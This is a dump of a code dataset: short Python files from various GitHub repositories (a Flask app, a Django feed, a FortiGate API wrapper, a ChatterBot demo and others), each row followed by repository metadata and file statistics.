] | 3 | 2020-04-19T19:05:39.000Z | 2020-07-17T16:03:13.000Z | def can_build(env, platform):
# Thirdparty dependency OpenImage Denoise includes oneDNN library
# which only supports 64-bit architectures.
# It's also only relevant for tools build and desktop platforms,
# as doing lightmap generation and denoising on Android or HTML5
# would be a bit far-fetched.
... | 39.615385 | 108 | 0.708738 | 70 | 515 | 5.171429 | 0.728571 | 0.132597 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016908 | 0.196117 | 515 | 12 | 109 | 42.916667 | 0.857488 | 0.502913 | 0 | 0 | 0 | 0 | 0.152 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0.2 | 0 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
b8dafacefb74f55dd3c6cec6ec4569bfff0fb5b2 | 185 | py | Python | app/server/module/MicrocloudchipException/base_exception.py | SweetCase-Cobalto/MicroCloudChip-NATURAL | 74dd2e9d423bd1f43b35f98fe1102364d9c08f46 | [
"MIT"
] | null | null | null | app/server/module/MicrocloudchipException/base_exception.py | SweetCase-Cobalto/MicroCloudChip-NATURAL | 74dd2e9d423bd1f43b35f98fe1102364d9c08f46 | [
"MIT"
] | null | null | null | app/server/module/MicrocloudchipException/base_exception.py | SweetCase-Cobalto/MicroCloudChip-NATURAL | 74dd2e9d423bd1f43b35f98fe1102364d9c08f46 | [
"MIT"
] | null | null | null | class MicrocloudchipException(Exception):
errorCode: int
def __init__(self, err_msg: str, errorCode: int):
super().__init__(err_msg)
self.errorCode = errorCode
| 26.428571 | 53 | 0.691892 | 20 | 185 | 5.9 | 0.6 | 0.20339 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.210811 | 185 | 6 | 54 | 30.833333 | 0.808219 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b8e7ee9567b2e7f74875649aea90700991ea33cd | 30 | py | Python | pyGeno/importation/__init__.py | ealong/pyGeno | b397bf36d49419ecc4c217a64ea64fa90f5a0392 | [
"Apache-2.0"
] | 309 | 2015-01-04T06:33:41.000Z | 2022-03-23T02:06:44.000Z | pyGeno/importation/__init__.py | ealong/pyGeno | b397bf36d49419ecc4c217a64ea64fa90f5a0392 | [
"Apache-2.0"
] | 56 | 2015-02-17T17:10:20.000Z | 2021-05-04T22:09:06.000Z | pyGeno/importation/__init__.py | ealong/pyGeno | b397bf36d49419ecc4c217a64ea64fa90f5a0392 | [
"Apache-2.0"
] | 58 | 2015-05-22T12:48:01.000Z | 2022-01-29T17:14:33.000Z | __all__ = ['Genomes', 'SNPs']
| 15 | 29 | 0.6 | 3 | 30 | 4.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 30 | 1 | 30 | 30 | 0.538462 | 0 | 0 | 0 | 0 | 0 | 0.366667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b8ec6cff5f1e8cc1836cf5c5ddc6157bbe7e40b5 | 1,351 | py | Python | fortigate_api/internet_service.py | vladimirs-git/fortigate-api | 7059fa1375feaa53ffcc19c7f48869727b854857 | [
"MIT"
] | 1 | 2022-01-31T02:07:49.000Z | 2022-01-31T02:07:49.000Z | fortigate_api/internet_service.py | vladimirs-git/fortigate-api | 7059fa1375feaa53ffcc19c7f48869727b854857 | [
"MIT"
] | null | null | null | fortigate_api/internet_service.py | vladimirs-git/fortigate-api | 7059fa1375feaa53ffcc19c7f48869727b854857 | [
"MIT"
] | 1 | 2022-02-17T07:04:50.000Z | 2022-02-17T07:04:50.000Z | """InternetService Object"""
from __future__ import annotations
from requests import Response # type: ignore
from fortigate_api import helper
from fortigate_api.action import Action
from fortigate_api.typing_ import DAny, LDAny
class InternetService(Action):
"""InternetService Object"""
def create(self, ... | 35.552632 | 92 | 0.676536 | 166 | 1,351 | 5.427711 | 0.295181 | 0.133185 | 0.039956 | 0.075472 | 0.388457 | 0.356271 | 0.320755 | 0.281909 | 0.281909 | 0.186459 | 0 | 0.003717 | 0.203553 | 1,351 | 37 | 93 | 36.513514 | 0.833643 | 0.321244 | 0 | 0 | 0 | 0 | 0.188544 | 0.188544 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.3125 | 0 | 0.875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
7707731fbbe22519bf6481642a1bb4dfe4e0ddfc | 299 | py | Python | ctshed/ctshed.py | kkarolis/cledocker | 4a32cc56de748f20e5c3d48952af9254c975f978 | [
"MIT"
] | 4 | 2019-03-14T12:14:58.000Z | 2019-07-31T16:50:02.000Z | ctshed/ctshed.py | kkarolis/cledocker | 4a32cc56de748f20e5c3d48952af9254c975f978 | [
"MIT"
] | 1 | 2020-12-01T13:03:12.000Z | 2021-04-07T06:44:49.000Z | ctshed/ctshed.py | kkarolis/ctshed | 4a32cc56de748f20e5c3d48952af9254c975f978 | [
"MIT"
] | null | null | null | """File containing main ways to interact with the tool."""
from . import container
from . import executable
# FIXME add types
def install(namespace, options):
"""Do whatever needs to be done to create a new executable."""
container.build_image(options)
return executable.make(options)
| 27.181818 | 66 | 0.735786 | 41 | 299 | 5.341463 | 0.780488 | 0.091324 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173913 | 299 | 10 | 67 | 29.9 | 0.88664 | 0.421405 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
7710873b9ea983bbbf0d9731bfd0d51df0f160d8 | 1,304 | py | Python | server/core/feeds.py | theju/atifier | e8a43b4a5dab35fdfdf0aea94325050bb7f3ac27 | [
"MIT"
] | null | null | null | server/core/feeds.py | theju/atifier | e8a43b4a5dab35fdfdf0aea94325050bb7f3ac27 | [
"MIT"
] | null | null | null | server/core/feeds.py | theju/atifier | e8a43b4a5dab35fdfdf0aea94325050bb7f3ac27 | [
"MIT"
] | null | null | null | from django.contrib.syndication.views import Feed
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _
from django.template import Template, Context
from .models import WebPage, PageScrapeResult
class LatestEntriesFeed(Feed):
def get_object(self, request, *args, **... | 32.6 | 73 | 0.690951 | 169 | 1,304 | 5.189349 | 0.319527 | 0.082098 | 0.047891 | 0.041049 | 0.401368 | 0.31927 | 0.266819 | 0.266819 | 0.266819 | 0.266819 | 0 | 0 | 0.200153 | 1,304 | 39 | 74 | 33.435897 | 0.840844 | 0 | 0 | 0.206897 | 0 | 0 | 0.091258 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.275862 | false | 0 | 0.172414 | 0.137931 | 0.758621 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
7730c5826e26f3d1341fae470b2f39d8dc57024e | 127 | py | Python | scripts/Hello_Hacktober_Kriti.py | paulo-filho-dev/Hacktoberfest2020-2 | f8318ed9b491b9a1b497c1de5d19f1e76e9df291 | [
"CC0-1.0"
] | 18 | 2020-10-05T01:09:01.000Z | 2020-11-01T03:19:28.000Z | scripts/Hello_Hacktober_Kriti.py | paulo-filho-dev/Hacktoberfest2020-2 | f8318ed9b491b9a1b497c1de5d19f1e76e9df291 | [
"CC0-1.0"
] | 13 | 2020-10-06T13:48:57.000Z | 2020-11-06T07:48:14.000Z | scripts/Hello_Hacktober_Kriti.py | paulo-filho-dev/Hacktoberfest2020-2 | f8318ed9b491b9a1b497c1de5d19f1e76e9df291 | [
"CC0-1.0"
] | 134 | 2020-10-02T11:19:08.000Z | 2021-11-04T23:13:53.000Z | // LANGUAGE: Python
// AUTHOR: Kriti Singhal
// GITHUB: https://github.com/Kriti-bit
print('Hello welcome to Hacktober2020');
| 21.166667 | 40 | 0.724409 | 16 | 127 | 5.75 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035714 | 0.11811 | 127 | 5 | 41 | 25.4 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0.23622 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7760947a41bf620f8324c108b961fd3e2dd71bef | 281 | py | Python | app/config.py | jups23/sanskrit-conversion | 95964b4f7c0c1d129378194468beb42be6d10faf | [
"MIT"
] | null | null | null | app/config.py | jups23/sanskrit-conversion | 95964b4f7c0c1d129378194468beb42be6d10faf | [
"MIT"
] | null | null | null | app/config.py | jups23/sanskrit-conversion | 95964b4f7c0c1d129378194468beb42be6d10faf | [
"MIT"
] | null | null | null | import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'andthentherewerenone'
UPLOAD_FOLDER = '/home/bhushan/sanskrit-conversion/app/uploads/'
ALLOWED_EXTENSIONS = {'docx'}
DOWNLOAD_FOLDER = '/home/bhushan/sanskrit-conversion/app/downloads/'
| 35.125 | 72 | 0.743772 | 33 | 281 | 6.181818 | 0.727273 | 0.088235 | 0.166667 | 0.245098 | 0.372549 | 0.372549 | 0 | 0 | 0 | 0 | 0 | 0 | 0.124555 | 281 | 7 | 73 | 40.142857 | 0.829268 | 0 | 0 | 0 | 0 | 0 | 0.455516 | 0.33452 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
91f1575f6acdb9baaf6317b980a1f2ca22bd49c4 | 234 | py | Python | qtim_tools/qtim_utilities/convert_util.py | QTIM-Lab/qtim_tools | 92bd15ec7a81c5eda70d11a015f74538f3c41e22 | [
"Apache-2.0"
] | 12 | 2017-03-29T18:17:24.000Z | 2020-03-19T05:28:56.000Z | qtim_tools/qtim_utilities/convert_util.py | QTIM-Lab/qtim_tools | 92bd15ec7a81c5eda70d11a015f74538f3c41e22 | [
"Apache-2.0"
] | 7 | 2017-03-08T21:06:01.000Z | 2017-06-21T19:01:58.000Z | qtim_tools/qtim_utilities/convert_util.py | QTIM-Lab/qtim_tools | 92bd15ec7a81c5eda70d11a015f74538f3c41e22 | [
"Apache-2.0"
] | 5 | 2017-03-02T09:08:21.000Z | 2019-10-26T05:37:39.000Z |
from nrrd_util import nrrd_2_numpy
from nifti_util import nifti_2_numpy
def nifti_4d_2_nrrd_4d(input_nifti, output_nrrd, TR, TE):
nrrd_2_numpy()
return
def run_test():
return
if __name__ == '__main__':
run_test() | 15.6 | 57 | 0.735043 | 39 | 234 | 3.794872 | 0.487179 | 0.121622 | 0.135135 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031579 | 0.188034 | 234 | 15 | 58 | 15.6 | 0.747368 | 0 | 0 | 0.222222 | 0 | 0 | 0.034188 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.222222 | 0.111111 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
91f6b226926c72c74f7f743a548908b16ea73468 | 114 | py | Python | aws_lf_tag/logger.py | MacHu-GWU/aws_lf_tag-project | c2e6c732a5821d3c8d57088a5d006918f6380ec3 | [
"MIT"
] | null | null | null | aws_lf_tag/logger.py | MacHu-GWU/aws_lf_tag-project | c2e6c732a5821d3c8d57088a5d006918f6380ec3 | [
"MIT"
] | null | null | null | aws_lf_tag/logger.py | MacHu-GWU/aws_lf_tag-project | c2e6c732a5821d3c8d57088a5d006918f6380ec3 | [
"MIT"
] | 1 | 2022-02-19T03:28:48.000Z | 2022-02-19T03:28:48.000Z | # -*- coding: utf-8 -*-
from loggerFactory import StreamOnlyLogger
logger = StreamOnlyLogger(name="aws_lf_tag")
| 19 | 44 | 0.745614 | 13 | 114 | 6.384615 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01 | 0.122807 | 114 | 5 | 45 | 22.8 | 0.82 | 0.184211 | 0 | 0 | 0 | 0 | 0.10989 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
620c5ed8c4bee26f18fd819137fcdfa0b1ac59cd | 1,208 | py | Python | app.py | michal-siedlecki/messages-api | 34adaaf6752e8d96a6f988a84ad28f2f81a501af | [
"MIT"
] | null | null | null | app.py | michal-siedlecki/messages-api | 34adaaf6752e8d96a6f988a84ad28f2f81a501af | [
"MIT"
] | null | null | null | app.py | michal-siedlecki/messages-api | 34adaaf6752e8d96a6f988a84ad28f2f81a501af | [
"MIT"
] | null | null | null | import os
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from config import API_URL
app = Flask(__name__)
app.config.from_object(os.environ['APP_SETTINGS'])
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
from messages import views
# A route to return messages_app info.
@... | 22.792453 | 63 | 0.70447 | 184 | 1,208 | 4.429348 | 0.271739 | 0.044172 | 0.058896 | 0.07362 | 0.332515 | 0.21227 | 0.176687 | 0.147239 | 0.09816 | 0.09816 | 0 | 0 | 0.143212 | 1,208 | 52 | 64 | 23.230769 | 0.78744 | 0.184603 | 0 | 0 | 0 | 0 | 0.143149 | 0.030675 | 0 | 0 | 0 | 0 | 0 | 1 | 0.206897 | false | 0 | 0.172414 | 0.206897 | 0.586207 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
620ca73c60b7c3f17e53d8c21c1a0cad0963ad29 | 172 | py | Python | ex0-nb.py | WolfgangFahl/ploomberexample | 6f45ebe329a7b4e7b5dc516747ce4637128b0875 | [
"Apache-2.0"
] | null | null | null | ex0-nb.py | WolfgangFahl/ploomberexample | 6f45ebe329a7b4e7b5dc516747ce4637128b0875 | [
"Apache-2.0"
] | null | null | null | ex0-nb.py | WolfgangFahl/ploomberexample | 6f45ebe329a7b4e7b5dc516747ce4637128b0875 | [
"Apache-2.0"
] | null | null | null | # + tags=["parameters"]
# declare a list tasks whose products you want to use as inputs
upstream = None
# -
from IPython.display import HTML
HTML(filename='header.html')
| 19.111111 | 63 | 0.732558 | 25 | 172 | 5.04 | 0.92 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162791 | 172 | 8 | 64 | 21.5 | 0.875 | 0.494186 | 0 | 0 | 0 | 0 | 0.13253 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
621de66e40eeffc2ffe1625715573a323ce03049 | 1,470 | py | Python | th2_common/schema/metrics/aggregating_metric.py | th2-net/th2-common-py | 996356a62cbd1c5214448cb18668fdbd3620c476 | [
"Apache-2.0"
] | null | null | null | th2_common/schema/metrics/aggregating_metric.py | th2-net/th2-common-py | 996356a62cbd1c5214448cb18668fdbd3620c476 | [
"Apache-2.0"
] | 18 | 2020-11-23T12:11:31.000Z | 2022-03-29T06:13:19.000Z | th2_common/schema/metrics/aggregating_metric.py | th2-net/th2-common-py | 996356a62cbd1c5214448cb18668fdbd3620c476 | [
"Apache-2.0"
] | 1 | 2021-01-20T11:21:57.000Z | 2021-01-20T11:21:57.000Z | # Copyright 2021-2021 Exactpro (Exactpro Systems Limited)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... | 34.186047 | 76 | 0.716327 | 196 | 1,470 | 5.321429 | 0.464286 | 0.057526 | 0.042186 | 0.057526 | 0.209012 | 0.209012 | 0.099712 | 0.099712 | 0.099712 | 0 | 0 | 0.012007 | 0.206803 | 1,470 | 42 | 77 | 35 | 0.882504 | 0.404762 | 0 | 0.105263 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.315789 | false | 0 | 0.157895 | 0.157895 | 0.684211 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
622ef0b044acbda2cffb13c3fea9b79522b94d25 | 300 | py | Python | core/config.py | LucasMagnum/trackmywork | 1d8e2bf80b0fcdc71d7c5f86a6c5cd7cce2bb33e | [
"MIT"
] | null | null | null | core/config.py | LucasMagnum/trackmywork | 1d8e2bf80b0fcdc71d7c5f86a6c5cd7cce2bb33e | [
"MIT"
] | 6 | 2018-01-16T18:46:39.000Z | 2018-01-16T20:35:47.000Z | core/config.py | LucasMagnum/trackmywork | 1d8e2bf80b0fcdc71d7c5f86a6c5cd7cce2bb33e | [
"MIT"
] | null | null | null | import os
DEFAULT_CATEGORY = os.getenv('TRACKMYWORK_DEFAULT_CATEGORY')
DEFAULT_PROJECT = os.getenv('TRACKMYWORK_DEFAULT_PROJECT')
# DEFAULT_STORAGE = os.getenv('TRACKMYWORK_DEFAULT_STORAGE', 'textfile')
STORAGE_PATH = os.getenv('TRACKMYWORK_STORAGE_PATH', os.path.expanduser('~/.trackmywork.txt'))
| 37.5 | 94 | 0.806667 | 36 | 300 | 6.388889 | 0.333333 | 0.13913 | 0.330435 | 0.33913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063333 | 300 | 7 | 95 | 42.857143 | 0.818505 | 0.233333 | 0 | 0 | 0 | 0 | 0.425439 | 0.346491 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6250c2c159cd3f74d327276ecc039fd77ee651b4 | 37 | py | Python | leggo_builder_settings/fits.py | ibojicic/leggo_builder | 0dcb2f64fb4a802e37f9fa95ecca73ab1349f375 | [
"MIT"
] | null | null | null | leggo_builder_settings/fits.py | ibojicic/leggo_builder | 0dcb2f64fb4a802e37f9fa95ecca73ab1349f375 | [
"MIT"
] | null | null | null | leggo_builder_settings/fits.py | ibojicic/leggo_builder | 0dcb2f64fb4a802e37f9fa95ecca73ab1349f375 | [
"MIT"
] | null | null | null |
HEADER_COMBINE_FIELDS = ['HISTORY'] | 12.333333 | 35 | 0.756757 | 4 | 37 | 6.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 37 | 3 | 35 | 12.333333 | 0.787879 | 0 | 0 | 0 | 0 | 0 | 0.194444 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
625ef0ebc6287c08d87ac16e997ca7a6672e4923 | 253 | py | Python | src/lansweeper/exceptions/__init__.py | dan76296/LanSweeper | 0b34bbd4e821a1c6357a435e066fdbb3fc5ff689 | [
"MIT"
] | null | null | null | src/lansweeper/exceptions/__init__.py | dan76296/LanSweeper | 0b34bbd4e821a1c6357a435e066fdbb3fc5ff689 | [
"MIT"
] | null | null | null | src/lansweeper/exceptions/__init__.py | dan76296/LanSweeper | 0b34bbd4e821a1c6357a435e066fdbb3fc5ff689 | [
"MIT"
] | null | null | null | class Exceptions:
def __init__(self):
pass
@staticmethod
def GenericLanSweeperError():
print("Unexpected error occurred")
@staticmethod
def NotImplementedError():
print("Functionality not yet implemented")
| 19.461538 | 50 | 0.664032 | 21 | 253 | 7.809524 | 0.809524 | 0.182927 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.256917 | 253 | 12 | 51 | 21.083333 | 0.87234 | 0 | 0 | 0.222222 | 0 | 0 | 0.229249 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.111111 | 0 | 0 | 0.444444 | 0.222222 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
626cff70f247341fa9cd4c3c11380472382f1127 | 600 | py | Python | Projects/project02/LinkedNode.py | tonysulfaro/CSE-331 | b4f743b1127ebe531ba8417420d043e9c149135a | [
"MIT"
] | 2 | 2019-02-13T17:49:18.000Z | 2020-09-30T04:51:53.000Z | Projects/project02/LinkedNode.py | tonysulfaro/CSE-331 | b4f743b1127ebe531ba8417420d043e9c149135a | [
"MIT"
] | null | null | null | Projects/project02/LinkedNode.py | tonysulfaro/CSE-331 | b4f743b1127ebe531ba8417420d043e9c149135a | [
"MIT"
] | null | null | null | class LinkedNode:
# DO NOT MODIFY THIS CLASS #
__slots__ = 'value', 'next_node'
def __init__(self, value, next_node):
"""
DO NOT EDIT
Initialize a node
:param value: value of the node
:param next_node: pointer to the next node
"""
self.value = value ... | 24 | 60 | 0.57 | 74 | 600 | 4.283784 | 0.391892 | 0.176656 | 0.082019 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.355 | 600 | 24 | 61 | 25 | 0.819121 | 0.405 | 0 | 0 | 1 | 0 | 0.052434 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
626f083c3a0815de16d6098818c25e9b1b662206 | 686 | py | Python | pre_commit_hooks/loaderon_hooks/tests/odoo_specific_hooks/check_view_name_test.py | alvaroscelza/pre-commit-hooks | fc9a7a376dc733a1e3cc00b5ed35936bcb3c3b3b | [
"MIT"
] | null | null | null | pre_commit_hooks/loaderon_hooks/tests/odoo_specific_hooks/check_view_name_test.py | alvaroscelza/pre-commit-hooks | fc9a7a376dc733a1e3cc00b5ed35936bcb3c3b3b | [
"MIT"
] | null | null | null | pre_commit_hooks/loaderon_hooks/tests/odoo_specific_hooks/check_view_name_test.py | alvaroscelza/pre-commit-hooks | fc9a7a376dc733a1e3cc00b5ed35936bcb3c3b3b | [
"MIT"
] | null | null | null | import sys
import pytest
from pre_commit_hooks.loaderon_hooks.odoo_specific_hooks.check_view_name import main
from pre_commit_hooks.loaderon_hooks.tests.util.test_helpers import perform_test_on_file_expecting_result
@pytest.fixture(autouse=True)
def clean_sys_argv():
sys.argv = []
yield
def test_check_vie... | 27.44 | 105 | 0.835277 | 108 | 686 | 4.777778 | 0.342593 | 0.122093 | 0.176357 | 0.131783 | 0.643411 | 0.604651 | 0.422481 | 0.422481 | 0.310078 | 0.310078 | 0 | 0.001603 | 0.090379 | 686 | 24 | 106 | 28.583333 | 0.825321 | 0 | 0 | 0 | 0 | 0 | 0.14723 | 0.14723 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | true | 0 | 0.285714 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
6270eaa3cf131d395428f8d216d3ee753fa9e1c1 | 596 | py | Python | Demo.py | ysh329/-atterBot | d7b3aa4ab22c0e38d5e53f04d8d4e5c9ffc2f7a9 | [
"Apache-2.0"
] | 6 | 2017-06-01T09:21:38.000Z | 2019-02-25T14:08:41.000Z | Demo.py | ysh329/-atterBot | d7b3aa4ab22c0e38d5e53f04d8d4e5c9ffc2f7a9 | [
"Apache-2.0"
] | null | null | null | Demo.py | ysh329/-atterBot | d7b3aa4ab22c0e38d5e53f04d8d4e5c9ffc2f7a9 | [
"Apache-2.0"
] | 2 | 2019-01-20T15:49:44.000Z | 2019-07-09T07:12:11.000Z | # -*- coding:utf-8 -*-
from chatterbot import ChatBot
from chatterbot.trainers import ChatterBotCorpusTrainer
deepThought = ChatBot("deepThought")
deepThought.set_trainer(ChatterBotCorpusTrainer)
# 使用中文语料库训练它
deepThought.train("chatterbot.corpus.chinese") # 语料库
print(deepThought.get_response("很高兴认识你".encode("utf8")... | 39.733333 | 78 | 0.785235 | 69 | 596 | 6.695652 | 0.507246 | 0.17316 | 0.205628 | 0.292208 | 0.24026 | 0.24026 | 0 | 0 | 0 | 0 | 0 | 0.010676 | 0.057047 | 596 | 15 | 79 | 39.733333 | 0.811388 | 0.092282 | 0 | 0 | 0 | 0 | 0.204842 | 0.046555 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0.5 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
